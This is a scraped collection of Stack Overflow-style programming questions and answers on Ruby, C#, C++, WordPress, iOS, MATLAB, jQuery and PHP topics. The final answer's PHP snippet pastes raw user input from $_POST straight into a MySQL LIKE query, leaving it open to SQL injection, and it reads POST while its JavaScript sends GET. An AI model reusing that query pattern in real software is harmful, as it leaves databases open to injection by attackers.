36315968	0	 <p>You are using the aws-sdk, good, I'll hit you with the se.file.read equivalent then: <a href="http://docs.aws.amazon.com/sdkforruby/api/Aws/S3/Object.html#get-instance_method" rel="nofollow"><code>Aws::S3::Object#get</code></a>.</p> <pre><code># create your bucket first s3_file = bucket.object['myfile.txt'].get({response_target: '/tmp/myfile.txt'}) </code></pre> <p>I think you can then do <code>s3_file.body</code>.</p> <p>Lastly, you are re-inventing the wheel and should check-out <a href="https://github.com/sorentwo/carrierwave-aws" rel="nofollow">carrierwave with aws-sdk</a>.</p>
38555411	0	Drag and Drop Custom Control Isn't working <p>I have built a custom <code>ListView</code> to allow me to drag and drop. with some help from other questions and blog post i have gotten this far. </p> <p>I am using <code>MVVM</code> in the implementation of the <code>UserControl</code> but while building the actual Custom <code>ListView</code> i am just using the code behind. as i thought this would be easier.</p> <p>How can I implement code below to get to add to ViewModel ICollection?</p> <p><strong>update:</strong></p> <p>please note that I think that the reason this is happening is because I am trying to add an <code>object</code> to <code>ObservableCollection&lt;person&gt;()</code>;</p> <p>exception:</p> <blockquote> <p>Operation is not valid while ItemsSource is in use. Access and modify elements with ItemsControl.ItemsSource instead.</p> </blockquote> <p>XAML: Implementation:</p> <pre><code>&lt;controls:DragNDropListView x:Name="ListView" ItemsSource="{Binding Persons}" DragDropEffects="Copy" DisplayMemberPath="Name"&gt;&lt;/controls:DragNDropListView&gt; &lt;controls:DragNDropListView x:Name="ListView1" Grid.Column="1" ItemsSource="{Binding Persons1}" DisplayMemberPath="Name" DragDropEffects="Copy"/&gt; </code></pre> <p>ViewModel:</p> <pre><code>public class ViewModel { public ViewModel() { Persons = new ObservableCollection&lt;Person&gt;(); Persons1 = new ObservableCollection&lt;Person&gt;(); Persons.Clear(); Persons1.Clear(); foreach (var person in Data.People().ToList()) { Persons.Add(person); Persons1.Add(person); } } public ObservableCollection&lt;Person&gt; Persons { get; set; } public ObservableCollection&lt;Person&gt; Persons1 { get; set; } } </code></pre> <p>Drag code:</p> <pre><code>private void OnMouseMove(object sender, MouseEventArgs e) { Point mousePos = e.GetPosition(null); Vector diff = _startPoint - mousePos; if (e.LeftButton == MouseButtonState.Pressed &amp;&amp; (Math.Abs(diff.X) &gt; SystemParameters.MinimumHorizontalDragDistance || Math.Abs(diff.Y) &gt; SystemParameters.MinimumVerticalDragDistance)) { if (ListView != null) { ListViewItem listViewItem = FindAnchestor&lt;ListViewItem&gt;((DependencyObject)e.OriginalSource); if (listViewItem != null) { var item = ListView.ItemContainerGenerator.ItemFromContainer(listViewItem); //NOTE:this is an object not a Person like observeablecollection in ViewModel. DataObject dragData = new DataObject("myFormat", item); DragDrop.DoDragDrop(listViewItem, dragData, DragDropEffects); } } } } </code></pre> <p>Drop code that is throwing exception:</p> <pre><code>private void OnDrop(object sender, DragEventArgs e) { if (e.Data.GetDataPresent("myFormat")) { var item = e.Data.GetData("myFormat"); if (item != null) { Items.Add(item);//this is where it throws exception } } } </code></pre>
291881	0	 <p>There are two separate issues to consider.</p> <p>To begin, it is quite common when using an ORM for the table and the object to have quite different "shapes", this is one reason why many ORM tools support quite complex mappings. </p> <p>A good example is when a table is partially denormalised, with columns containing redundant information (often, this is done to improve query or reporting performance). When this occurs, it is more efficient for the ORM to request just the columns it requires, than to have all the extra columns brought back and ignored.</p> <p>The question of why "Select *" is evil is separate, and the answer falls into two halves.</p> <p>When executing "select *" the database server has no obligation to return the columns in any particular order, and in fact could reasonably return the columns in a different order every time, though almost no databases do this. </p> <p>Problem is, when a typical developer observes that the columns returned seem to be in a consistent order, the assumption is made that the columns will <strong>always</strong> be in that order, and then you have code making unwarranted assumptions, just waiting to fail. Worse, that failure may not be fatal, but may simply involve, say, using <em>Year of Birth</em> in place of <em>Account Balance</em>.</p> <p>The other issue with "Select *" revolves around table ownership - in many large companies, the DBA controls the schema, and makes changes as required by major systems. If your tool is executing "select *" then you only get the current columns - if the DBA has removed a redundant column that you need, you get no error, and your code may blunder ahead causing all sorts of damage. By explicitly requesting the fields you require, you ensure that your system will break rather than process the wrong information.</p>
14778895	0	 <p>There are a set of several templates that control the checkout page. They can be found in the WooCommerce plugin folder in templates/checkout.</p> <p>You can put a woocommerce/templates/checkout folder inside your theme's folder and copy the templates you want to alter into it. Those will override the normal templates without altering the plugin itself. That way your changes won't get overwritten when WooCommerce is updated.</p>
6878662	0	Tumblr API - how to upload multiple images to a Photoset <p>I am able to upload one picture but I can't create a photoset with multiple images using API.</p> <p>Documentation says: Paramater: Array (URL-encoded binary contents)</p> <p>One or more image files (submit multiple times to create a slide show)</p> <p>Does anyone know how to do it?</p>
37273675	0	 <p>I've taken a look at the site and it seems to work fine on my Nexus 6. So I believe it may be an issue with Safari. </p> <p>You do seem to have some errors on the page that may be causing issues with Safari. </p> <p>Follow this link to find and fix them: <a href="https://validator.w3.org/check?uri=http%3A%2F%2Ffkrtestsite.byethost3.com%2Findex.html&amp;charset=%28detect+automatically%29&amp;doctype=Inline&amp;group=0" rel="nofollow">https://validator.w3.org/check?uri=http%3A%2F%2Ffkrtestsite.byethost3.com%2Findex.html&amp;charset=%28detect+automatically%29&amp;doctype=Inline&amp;group=0</a> </p>
31014241	0	 <p>You can do this with </p> <pre><code>+ (NSArray&lt;ObjectType&gt; * nullable)arrayWithContentsOfFile:(NSString * nonnull)aPath </code></pre> <p>and </p> <pre><code>- (BOOL)writeToFile:(NSString * nonnull)path atomically:(BOOL)flag </code></pre>
17207745	0	 <p>First, you need to <code>Authenticate</code> your request (Get permission).</p> <p>second, see follow these steps:</p> <p>1.Download <code>FHSTwitterEngine</code> Twitter Library.</p> <p>2.Add the folder <code>FHSTwitterEngine</code>" to your project and <code>#import "FHSTwitterEngine.h".</code></p> <p>3.add <code>SystemConfiguration.framework</code> to your project.</p> <blockquote> <p>Usage : 1.in the <code>[ViewDidLoad]</code> add the following code.</p> </blockquote> <pre><code>UIButton *logIn = [UIButton buttonWithType:UIButtonTypeRoundedRect]; logIn.frame = CGRectMake(100, 100, 100, 100); [logIn setTitle:@"Login" forState:UIControlStateNormal]; [logIn addTarget:self action:@selector(showLoginWindow:) forControlEvents:UIControlEventTouchUpInside]; [self.view addSubview:logIn]; [[FHSTwitterEngine sharedEngine]permanentlySetConsumerKey:@"&lt;consumer_key&gt;" andSecret:@"&lt;consumer_secret&gt;"]; [[FHSTwitterEngine sharedEngine]setDelegate:self]; and don't forget to import the delegate FHSTwitterEngineAccessTokenDelegate. you need to get the permission for your request, with the following method which will present Login window: - (void)showLoginWindow:(id)sender { [[FHSTwitterEngine sharedEngine]showOAuthLoginControllerFromViewController:self withCompletion:^(BOOL success) { NSLog(success?@"L0L success":@"O noes!!! Loggen faylur!!!"); }]; } </code></pre> <p>when the Login window is presented, enter your <code>Twitter</code> Username and Password to authenticate your request.</p> <p>add the following methods to your code:</p> <pre><code>-(void)viewWillAppear:(BOOL)animated { [super viewWillAppear:animated]; [[FHSTwitterEngine sharedEngine]loadAccessToken]; NSString *username = [[FHSTwitterEngine sharedEngine]loggedInUsername];// self.engine.loggedInUsername; if (username.length &gt; 0) { lbl.text = [NSString stringWithFormat:@"Logged in as %@",username]; [self listResults]; } else { lbl.text = @"You are not logged in."; } } - (void)storeAccessToken:(NSString *)accessToken { [[NSUserDefaults standardUserDefaults]setObject:accessToken forKey:@"SavedAccessHTTPBody"]; } - (NSString *)loadAccessToken { return [[NSUserDefaults standardUserDefaults]objectForKey:@"SavedAccessHTTPBody"]; } 4.Now you are ready to get your request, with the following method(in this method I created a `Twitter` search for some `Hashtag`, to get the screen_name for example): - (void)listResults { dispatch_async(GCDBackgroundThread, ^{ @autoreleasepool { [UIApplication sharedApplication].networkActivityIndicatorVisible = YES; // the following line contains a FHSTwitterEngine method wich do the search. dict = [[FHSTwitterEngine sharedEngine]searchTweetsWithQuery:@"#iOS" count:100 resultType:FHSTwitterEngineResultTypeRecent unil:nil sinceID:nil maxID:nil]; // NSLog(@"%@",dict); NSArray *results = [dict objectForKey:@"statuses"]; // NSLog(@"array text = %@",results); for (NSDictionary *item in results) { NSLog(@"text == %@",[item objectForKey:@"text"]); NSLog(@"name == %@",[[item objectForKey:@"user"]objectForKey:@"name"]); NSLog(@"screen name == %@",[[item objectForKey:@"user"]objectForKey:@"screen_name"]); NSLog(@"pic == %@",[[item objectForKey:@"user"]objectForKey:@"profile_image_url_https"]); } dispatch_sync(GCDMainThread, ^{ @autoreleasepool { UIAlertView *av = [[UIAlertView alloc]initWithTitle:@"Complete!" message:@"Your list of followers has been fetched" delegate:nil cancelButtonTitle:@"OK" otherButtonTitles:nil]; [av show]; [UIApplication sharedApplication].networkActivityIndicatorVisible = NO; } }); } }); } </code></pre> <p>That's all. I just got the <code>screen_name</code> from a <code>search Query</code>, you can get a timeline for a user using the following methods:</p> <pre><code>// statuses/user_timeline - (id)getTimelineForUser:(NSString *)user isID:(BOOL)isID count:(int)count; - (id)getTimelineForUser:(NSString *)user isID:(BOOL)isID count:(int)count sinceID:(NSString *)sinceID maxID:(NSString *)maxID; </code></pre> <p>instead of the search method above.</p> <blockquote> <p>Note: see the <code>FHSTwitterEngine.h</code> to know what method you need to use. Note: to get the <code>&lt;consumer_key&gt;</code> and the <code>&lt;consumer_secret&gt;</code> you need to to visit this link to <code>register</code> your app in <code>Twitter</code>.</p> </blockquote>
11198518	0	 <p>I ran into the same problem in Drupal 6 recently, and your question is valid. </p> <p>When I displayed the $form object (from <em>template.php</em>) using <a href="http://drupal.org/project/devel" rel="nofollow">Devel</a>'s dsm() function, I found that the buttons were somehow showing a weight of 0.0111, a float.</p> <p>The <strong>hook_theme()</strong> and then <strong>hook_form()</strong> in <em>template.php</em> seem to be behaving wrong. Using hook_form I made no changes to the $form object, and returning drupal_render($form) the Save/Preview buttons were at the top.</p> <p>To anyone that needs to use these hooks, you must ALSO create a <strong>form_alter</strong> where you set the weight of the buttons. This counteracts the bug and gets your buttons to the bottom again.</p> <pre><code> $form['buttons']['#weight'] = 100; </code></pre> <p>Note: I could not set the weight in my <strong>hook_form()</strong> code, it had to be in a <strong>form_alter</strong></p>
9062660	0	 <p>Used <a href="http://valums.com/ajax-upload/" rel="nofollow">Ajax upload</a> it worked. But it calls the controller as soon as file is selected. </p>
34525971	0	 <p>The first seed node is special, as documented in the Cluster documentation: <a href="http://doc.akka.io/docs/akka/snapshot/java/cluster-usage.html" rel="nofollow">http://doc.akka.io/docs/akka/snapshot/java/cluster-usage.html</a></p> <p>It must be the same 1st configured node on all nodes, in order for all of them to be really sure that they join the same cluster.</p> <p>Quote:</p> <p>The seed nodes can be started in any order and it is not necessary to have all seed nodes running, but the node configured as the first element in the seed-nodes configuration list must be started when initially starting a cluster, otherwise the other seed-nodes will not become initialized and no other node can join the cluster. <strong>The reason for the special first seed node is to avoid forming separated islands when starting from an empty cluster.</strong> It is quickest to start all configured seed nodes at the same time (order doesn't matter), otherwise it can take up to the configured seed-node-timeout until the nodes can join.</p> <p>Once more than two seed nodes have been started it is no problem to shut down the first seed node. If the first seed node is restarted, it will first try to join the other seed nodes in the existing cluster.</p>
28151627	0	 <p>You could convert to a <a href="http://www.mathworks.com/help/matlab/ref/datenum.html?refresh=true" rel="nofollow"><code>datenum</code></a>:</p> <pre><code>tdiff = datenum(sample.tend) - datenum(sample.tstart) </code></pre> <p>remebering that as <a href="http://www.mathworks.com/help/matlab/ref/datenum.html?refresh=true" rel="nofollow">the docs</a> say:</p> <blockquote> <p>A serial date number represents the whole and fractional number of days from a fixed, preset date (January 0, 0000).</p> </blockquote> <p>so <code>tdiff</code> will be in units of days which is then simple to covert to hours or seconds or whatever you're after. For example to covert to seconds:</p> <pre><code>SecondsPerDay = 24*60*60; tdiffs = tdiff*SecondsPerDay; </code></pre>
32132281	0	 <pre><code>tableView.addPullToRefreshWithActionHandler { } </code></pre>
26739299	0	Rails - How can I display one nested attributes (Solved) <p>I have a new problem, I Create a web where I upload many images, using nested attributes and polymorphic table, in my index.html I want to show only one image, but I can't find how. But I'm new in rails. </p> <p>photography.rb</p> <pre><code>class Photography &lt; ActiveRecord::Base validates :title, :description, presence: true belongs_to :user has_many :images, as: :imageable, dependent: :destroy accepts_nested_attributes_for :images, :reject_if =&gt; lambda { |a| a[:img_str].blank? }, :allow_destroy =&gt; true end </code></pre> <p>image.rb</p> <pre><code>class Image &lt; ActiveRecord::Base belongs_to :imageable, polymorphic: true mount_uploader :img_str, AssetUploader end </code></pre> <p>index.html.erb</p> <pre><code>&lt;% for photo in @photo %&gt; &lt;%= link_to photo.title, photography_path(photo) %&gt; &lt;% photo.images.each do |images| %&gt; &lt;%= images.img_str %&gt; &lt;% end %&gt; &lt;% end %&gt; </code></pre> <p>With the for method I show all the image, try add .first, but says <code>undefined method first for 5:Fixnum.</code> I think that I have to create a helper method, but I not sure. Can anyone help me?. Thanks</p>
5713435	0	 <p><a href="http://cslibrary.stanford.edu/" rel="nofollow">http://cslibrary.stanford.edu/</a> is the best resource that I have come across to learn about pointers in C . Read all the pointer related pdfs and also watch the binky pointer video.</p>
26860019	0	Assigning Value to Two Dimension Array <p>I am trying to assign values to a 2D array in VBA but its not working. Here is what I have tried: </p> <pre><code>Sub UpdateCustomName() Dim CellTags() As String Dim temp() As String Dim ControlName As String Dim CellValue As String Dim CustomName(1 To 2, 1 To 2) As String For Each Cell In ActiveSheet.UsedRange.Cells If Not Cell.Value = "" Then CellTags() = Split(Cell.Value, "*") ' here in CellTags(2) value is like ABC_E34 CustomName() = Split(CellTags(2), "_") MsgBox CustomName(1, 2) End If Next End Sub </code></pre>
3805369	0	 <p>The <code>Array.Clear</code> method will let you clear (set to default value) all elements in a multi-dimensional array (i.e., <code>int[,]</code>). So if you just want to clear the array, you can write <code>Array.Clear(myArray, 0, myArray.Length);</code></p> <p>There doesn't appear to be any method that will set all of the elements of an array to an arbitrary value.</p> <p>Note that if you used that for a jagged array (i.e. <code>int[][]</code>), you'd end up with an array of null references to arrays. That is, if you wrote:</p> <pre><code>int[][] myArray; // do some stuff to initialize the array // now clear the array Array.Clear(myArray, 0, myArray.Length); </code></pre> <p>Then <code>myArray[0]</code> would be <code>null</code>.</p>
5664984	0	 <p><strong>Not call reloadData from <code>shouldAutorotateToInterfaceOrientation</code>:</strong></p> <p>Use the UIView <code>autoresizingMask</code> property for both <code>UITableView</code> and <code>UITableViewCell</code> when you create the object for both . because <code>UITableView and</code>UITableViewCell<code>are the subclass of</code>UIView`.</p> <pre><code>@property(nonatomic) UIViewAutoresizing autoresizingMask </code></pre>
2675350	0	Searchengine bots and meta refresh for disabled Javascript <p>I have a website that must have javascript turned on so it can work</p> <p>there is a &lt; noscript> tag that have a meta to redirect the user to a page that alerts him about the disabled javascript... </p> <p>I am wondering, is this a bad thing for search engine crawlers?<br> Because I send an e-mail to myself when someone doesn't have js so I can analyze if its necessary to rebuild the website for these people, but its 100% js activated and the only ones that doesn't have JS are searchengines crawlers... I guess google, yahoo etc doesn't take the meta refresh seriously when inside a &lt; noscript> ?</p> <p>Should I do something to check if they are bots and do not redirect them with meta?</p> <p>Thanks,<br> Joe</p>
2264261	0	 <p>Depends on your requirements and the design for such a site. Either come up with a design and then see if it would fit on GAE. Else, design it such that it fits into GAE. If one of your requirement is scalability then GAE promises that</p>
13083638	0	how to assign null to a field in sqlite <p>I would like to assign <code>null</code> to a field in SQLite but am not getting anywhere with this:</p> <pre><code>update t set n=null where n=0; </code></pre>
29452795	0	 <pre><code>setlocal enabledelayedexpansion for /l %%b in (1,1,%num%) do echo !line%%b!&gt;&gt;file.txt </code></pre> <p>Or if you don't want to use delayed expansion:</p> <pre><code>for /l %%b in (1,1,%num%) do echo %%line%%b%%&gt;&gt;file.txt </code></pre>
10442455	0	 <p>I have a <a href="https://github.com/ehrmann/vcdiff-java" rel="nofollow" title="vcdiff-java">Java port of open-vcdiff</a> on Github. It's tested against open-vcdiff, but it's not used in production anywhere.</p>
25607078	0	 <p>After updating point, format is changed from <code>[x_value, y_value]</code> to: <code>{x: x_value, y: y_value}</code>. So instead of <code>c[1]</code>, use <code>c.y</code> for updated points. Since both formats are used you need to check which one is use.</p>
15793680	0	ObjectContext not adding an entity <p>I'm adding an entity to the object context like this</p> <pre><code>public partial class MyEntities : ObjectContext . . . </code></pre> <p>In a different class I've the following code</p> <pre><code>using (MyEntities dbContext = new MyEntities()) { Info x = new Info(); dbContext.AddToInfo(x); } </code></pre> <p>However when I check the entities in Info in 'dbContext' after adding 'x' to it the watch say that dbContext.Info 'Enumeration yielded no results'.</p> <p>Here's a screenshot of the Watch window</p> <p><img src="https://i.stack.imgur.com/iS8Kv.png" alt="VS Watch Window"></p> <p>Why is this happening?</p>
28058285	0	 <p>I'm not sure why you are trying to get that string since to my knowledge most ssl functions will take the whole cert to verify. </p> <p>Have you seen <a href="http://stackoverflow.com/a/27251088/4474526">this post</a>? It looks like what you want.</p> <p>Hope that helps.</p> <p>EDIT:</p> <p>I <a href="https://www.v13.gr/blog/?p=303" rel="nofollow">think</a> this example will help you understand what's every argument and in what format should it be. </p>
1441116	0	 <p>Connecting to FTP really causes some headache for me. I do not know if the following link is useful. I happen to see it.</p> <p><a href="http://attractivechaos.wordpress.com/2009/08/02/read-files-on-ftphttp/" rel="nofollow noreferrer">http://attractivechaos.wordpress.com/2009/08/02/read-files-on-ftphttp/</a></p> <p>The program does not seem too long. Hope helpful to you.</p>
32775480	0	Get commits that have been *created* on a specific branch <p>Is there a (relatively simple) way to <em>only</em> get the commits corresponding to asterisks (*) on the <code>release</code> (left-most, marked by red frame) branch in this real-world example of a commit history?</p> <p><a href="https://i.stack.imgur.com/bwaLB.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/bwaLB.png" alt="enter image description here"></a></p> <p>The given set of commits are all high-risk commits (i.e. commits that are exposed to the public). There can only be two kinds of commits on the <code>release</code> (and/or <code>master</code>) branch(es):</p> <ol> <li>Actual releases (usually tagged, big merges)</li> <li>Hotfixes (usually un-tagged, small merges)</li> </ol> <p>My goal: I want to create statistics and small analytical tools that use these commits to help us (and especially our developers) to better understand high-risk code regions and possible bug patterns. I am also convinced that this can eventually be used to help us better estimate risk for the company and evaluate QA efficiency.</p> <p>Any suggestions?</p> <p>PS: This graph has been created with <code>git log --oneline --decorate --graph</code>, but I cut all sensitive information from it.</p>
4300134	0	 <p>Looking away from the details of specific implementations of functional programming, I see two key issues:</p> <ol> <li><p>It seems comparatively rare that it is practical to choose a functional model of some real-world problem over an imperative one. When the problem domain is imperative, using a language with that characteristic is a natural and reasonable choice (since it is in general advisable to minimize the distance between the specification and implementation as part of reducing the number of subtle bugs). Yes, this can be overcome by a smart-enough coder, but if you need Rock Star Coders for the task, it's because it's too bloody hard.</p></li> <li><p>For some reason that I never really understood, functional programming languages (or perhaps their implementations or communities?) are much more likely to want to have everything in their language. There's much less use of libraries written in other languages. If someone else has a particularly good implementation of some complex operation, it makes much more sense to use that instead of making your own. I suspect that this is in part a consequence of the use of complex runtimes which make handling foreign code (and especially doing it efficiently) rather difficult. I'd love to be proved wrong on this point.</p></li> </ol> <p>I suppose these both come back to a general lack of pragmatism caused by functional programming being much more strongly used by programming researchers than common coders. A good tool can enable an expert to great things, but a great tool is one that enables the common man to approach what an expert can do normally, because that's by far the more difficult task.</p>
997146	0	 <p>Web aps follow a request-response architecture so you can't really (well, easily) have server initiated messages from client to server.</p> <p>You can use a polling architecture. At its very simplest, you could simply have the page refresh every X seconds/minutes to check for changes. This may be a bit ugly.</p> <p>A more user friendly approach might be to use the XMLHTTP object to poll for changes every few seconds and refresh the page when a change is detected. You could create an HTTP Handler on the server side that simply have the date/time of last change and have a javascript check this every few seconds and when a change occurrs, refresh the page.</p>
1960584	0	Centering my Title DIV <p><a href="http://we-live.in/the_sierra" rel="nofollow noreferrer">http://we-live.in/the_sierra</a> - Towards the bottom of the page I have a div which contains an image of grass. How can I get the grass image to be centered horizontally on the page?</p> <blockquote> <p>ok i got it centered now i need to move it lower down on the page</p> </blockquote> <p>thanks</p>
36328576	0	Why my jquery code wont work if with ID but Class <p>I have html code like this.</p> <pre><code>&lt;input onkeyup="ave()" type="text" name="1" class = "ave" style="width: 60px"&gt;&lt;/td&gt; &lt;input onkeyup="ave()" type="text" name="2" class = "ave" style="width: 60px"&gt;&lt;/td&gt; &lt;input onkeyup="ave()" type="text" name="3" class = "ave" style="width: 60px"&gt;&lt;/td&gt; </code></pre> <p>The jQuery like this</p> <pre><code>function ave(){ $('.ave').keyup(function(){ var sum = 0; var ave = 0; $('.ave').each(function(){ sum += +$(this).val(); }); var ave = sum/3; $('.total').val(ave.toFixed(2)); }); } </code></pre> <p>If I change 'class' to 'ID' and <code>$('.ave')</code> to <code>$('#ave')</code> the code won't work!</p>
30430101	0	 <p>As stated in the comments, the proper way to do this is with a <code>TextureView</code>.</p>
17054522	0	 <p>As said, you're asking about regular expressions commonly called a "regex". Take a look at <a href="http://www.regular-expressions.info/reference.html" rel="nofollow"><strong>Regular-Expressions.info</strong></a> for tons of good information. The page you're probably most interested in is the <a href="http://www.regular-expressions.info/characters.html" rel="nofollow"><strong>Literal Characters and Special Characters</strong></a>, which largely answers your OP. A great site to test your regex is <a href="http://www.rubular.com/" rel="nofollow"><strong>Rubular.com</strong></a>. It's designed for Ruby, but works great for nearly anything I've thrown at it (sed expressions, C# replace, JS replace, etc.).</p> <p>HTH</p>
1458212	0	 <p>My interpretation is that it will always interpret it in a format that <em>happens</em> to look a lot like C#, yes. So <code>.</code> for members-access, etc (the same as data-binding uses <code>.</code> for member-access, regardless of the caller's language). It is also a lot like the <code>string.Format</code> pattern, if you see the relationship (<code>"{0} - {1}"</code> etc).</p> <p>Of course, if the expression gets <em>too</em> complex you could consider a <a href="http://msdn.microsoft.com/en-us/library/d8eyd8zc.aspx" rel="nofollow noreferrer">debugger type proxy</a>.</p>
9860648	0	 <p>It depends on what you are <em>actually</em> testing. Looking on the comments I would say <em>yes</em>, but by the way it's difficult to deduct looking on comments. Cleaning up the object you just inserted you, in practice, reset the state of the test. So if you cleanup, you begin to test from cleanup system.</p>
15459286	0	Compilation error : No match for overloaded operator <p>here is a part of my code, when i compile it, it says 1: no match for operator = 2: no known conversion for argument 1 from 'Matrix' to 'Matrix&amp;' but if i remove the operator + part it works where is the problem?! :|</p> <p>gcc errors: "no match for 'operator=' in 'z = Matrix::operator+(Matrix&amp;)((* &amp; y))' candidate is: atrix&amp; Matrix::operator=(Matrix&amp;) no known conversion for argument 1 from 'Matrix' to 'Matrix&amp;' "</p> <pre><code>class Matrix { //friend list: friend istream&amp; operator&gt;&gt;(istream&amp; in, Matrix&amp; m); friend ostream&amp; operator&lt;&lt;(ostream&amp; in, Matrix&amp; m); int** a; //2D array pointer int R, C; //num of rows and columns static int s1, s2, s3, s4, s5; public: Matrix(); Matrix(const Matrix&amp;); ~Matrix(); static void log(); Matrix operator+ (Matrix &amp;M){ if( R == M.R &amp;&amp; C == M.C ){ s4++; Matrix temp; temp.R = R; temp.C = C; temp.a = new int*[R]; for(int i=0; i&lt;R; i++) temp.a[i] = new int[C]; for(int i=0; i&lt;R; i++) for(int j=0; j&lt;C; j++) temp.a[i][j] = a[i][j] + M.a[i][j]; return temp; } } Matrix&amp; operator = (Matrix&amp; M){ s5++; if(a != NULL) { for(int i=0; i&lt;R; i++) delete [] a[i]; delete a; a = NULL; R = 0; C = 0; } R = M.R; C = M.C; a = new int*[R]; for(int i=0; i&lt;R; i++) a[i] = new int[C]; for(int i=0; i&lt;R; i++) for(int j=0; j&lt;C; j++) a[i][j] = M.a[i][j]; return *this; } </code></pre> <p>};</p>
4728422	0	 <p>you can use the following</p> <pre><code>&lt;?php $timezone = 'Pacific/Nauru'; $time = new \DateTime('now', new DateTimeZone($timezone)); $timezoneOffset = $time-&gt;format('P'); ?&gt; </code></pre>
19669620	0	 <p>COUNT is an aggregate function, you should use GROUP BY.</p> <p><a href="http://dev.mysql.com/doc/refman/5.1/en/group-by-functions.html" rel="nofollow">http://dev.mysql.com/doc/refman/5.1/en/group-by-functions.html</a></p>
6703763	0	 <p>Looking at the WSDL for the message is irrelevant because as you have said in a response to a comment you want this to be a REST based service and WSDL is a SOAP construct. On that basis you should remove a <code>&lt;serviceMetadata&gt;</code> behavior if you have one as this is about SOAP metadata. </p> <p>To diagnose problems like this you should turn on tracing in WCF (I have a short screencast <a href="http://www.rocksolidknowledge.com/Screencasts.mvc/Watch?video=WCFTracing.wmv" rel="nofollow">here</a> that shows you how to do it). This should highlight what the problem is in processing the message</p> <p>To wire up the REST plumbing without adding a section in the config for your service add the following to your config file under the system.serviceModel section</p> <pre><code>&lt;protocolMapping&gt; &lt;add scheme="http" binding="webHttpBinding"/&gt; &lt;/protocolMapping&gt; &lt;behaviors&gt; &lt;endpointBehaviors&gt; &lt;behavior&gt; &lt;webHttp/&gt; &lt;/behavior&gt; &lt;/endpointBehaviors&gt; &lt;/behaviors&gt; </code></pre>
872981	0	 <p>Here you go:</p> <p><a href="http://codepen.io/vsync/pen/FyluI" rel="nofollow noreferrer"><strong>Example page - footer sticks to bottom</strong></a></p> <p>this will have the content right <br /> between the footer and the header. <br /> no overlapping.</p> <h2>HTML</h2> <pre><code>&lt;header&gt;HEADER&lt;/header&gt; &lt;article&gt; &lt;p&gt;some content here (might be very long)&lt;/p&gt; &lt;/article&gt; &lt;footer&gt;FOOTER&lt;/footer&gt; </code></pre> <h2>CSS</h2> <pre><code>html{ height:100%; } body{ min-height:100%; padding:0; margin:0; position:relative; } body:after{ content:''; display:block; height:100px; // compensate Footer's height } header{ height:50px; } footer{ position:absolute; bottom:0; width:100%; height:100px; // height of your Footer (unfortunately it must be defined) } </code></pre>
31348163	0	 <p>You can use Mockito to mock out interface A.</p> <pre><code>@Test public void test () { //given: we have our expected and actual lists. List&lt;String&gt; expectedResult = Arrays.asList("id1","id2","id3"); //build our actual list of mocked interface A objects. A a1 = mock(A.class); when(a1.getId()).thenReturn("id1"); A a2 = mock(A.class); when(a2.getId()).thenReturn("id2"); A a3 = mock(A.class); when(a3.getId()).thenReturn("id3"); B b = mock(B.class); Collection&lt;A&gt; actualResult = Arrays.asList(a1, a2,a3); //when: we invoke the method we want to test. when(b.getCollection()).thenReturn(actualResult); //then: we should have the result we want. assertNotNull(actualResult); assertEquals(3, actualResult.size()); for (A a : actualResult) assertTrue(expectedResult.contains(a.getId())); } </code></pre>
17119796	0	 <p>While there is a file system provider <code>s3fs</code> build on fuse. Is not always a good idea to try to mount it to the file system. Instead you should either use command line tools <code>s3cmd</code> or build in access to s3 into your filesystem.</p> <p>The reason why I would recommend against it is that s3 is not a block device while the rest of your file system is. Everything on s3 is treated as a complete object. You can't read or write to a block of the object.</p> <p>If all your are doing with the mount is copying files in its entirety to and from s3, a file system mount may work reasonably well. But you can't run anything that would expect block level acccess to files on that mount.</p>
6848474	0	If NSTemporaryDirectory returns nil <p>According to the documentation, <code>NSTemporaryDirectory()</code> can return nil. I need to save some temporary files in the device. What should I do if <code>NSTemporaryDirectory()</code> returns nil? Should I create a folder elsewhere? If yes, where? Or should I just show a message to the user?</p>
14851929	0	External JavaScript working on localhost but not in remote host? <p>This is the site: <a href="http://www.hfwebdesign.com/" rel="nofollow">http://www.hfwebdesign.com/</a></p> <p>I'm getting this error: <code>Uncaught TypeError: Object [object Object] has no method 'flexslider'</code></p> <p>But in my localhost it works perfectly.</p> <p>This is the <code>&lt;head&gt;</code> (where the script is being called):</p> <pre><code>&lt;head&gt; &lt;meta charset="&lt;?php bloginfo( 'charset' ); ?&gt;" /&gt; &lt;meta name="viewport" content="width=device-width" /&gt; &lt;title&gt;&lt;?php wp_title( '|', true, 'right' ); ?&gt;&lt;/title&gt; &lt;link rel="profile" href="http://gmpg.org/xfn/11" /&gt; &lt;link rel="pingback" href="&lt;?php bloginfo( 'pingback_url' ); ?&gt;" /&gt; &lt;link rel="stylesheet" type="text/css" media="all" href="&lt;?php bloginfo( 'template_url' ); ?&gt;/js/flexslider/flexslider.css" /&gt; &lt;link rel="icon" type="image/png" href="&lt;?php bloginfo( 'template_url' ); ?&gt;/favicon.ico" /&gt; &lt;script src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"&gt;&lt;/script&gt; &lt;script src="&lt;?php bloginfo( 'template_url' ); ?&gt;/js/flexslider/jquery.flexslider-min.js"&gt;&lt;/script&gt; &lt;?php // Loads HTML5 JavaScript file to add support for HTML5 elements in older IE versions. ?&gt; &lt;!--[if lt IE 9]&gt; &lt;script src="&lt;?php echo get_template_directory_uri(); ?&gt;/js/html5.js" type="text/javascript"&gt;&lt;/script&gt; &lt;![endif]--&gt; &lt;?php wp_head(); ?&gt; &lt;/head&gt; </code></pre> <p><strong>footer:</strong></p> <pre><code>&lt;script type="text/javascript"&gt; var $j = jQuery.noConflict(); $j(document).ready(function() { $j('.flexslider').flexslider({ animation: "slide" }); }); &lt;/script&gt; &lt;/body&gt; </code></pre> <p>Could it be that the code is breaking in the web server in the remote host and not in my localhost (e.g. they are different version of LAMP/APACHE?)</p>
27599177	0	 <p>Try this:</p> <pre><code>$('.typeahead').typeahead({ source: function (query, process) { return $.get('data.php', { query: query }, function (data) { return process(data.options); }); } }); &lt;?php $mysqli = new mysqli("localhost", "root", "", "disbursements"); $query = 'SELECT payee_name FROM payees'; if (isset($_POST['query'])) { // Now set the WHERE clause with LIKE query $query.= ' WHERE payee_name LIKE "%' . $_POST['query'] . '%"'; } $return = array(); if ($result = $mysqli-&gt;query($query)) { // fetch object array while ($obj = $result-&gt;fetch_object()) { $return['options'][] = $obj-&gt;payee_name; } // free result set $result-&gt;close(); } // close connection $mysqli-&gt;close(); $json = json_encode($return); echo $json; ?&gt; </code></pre>
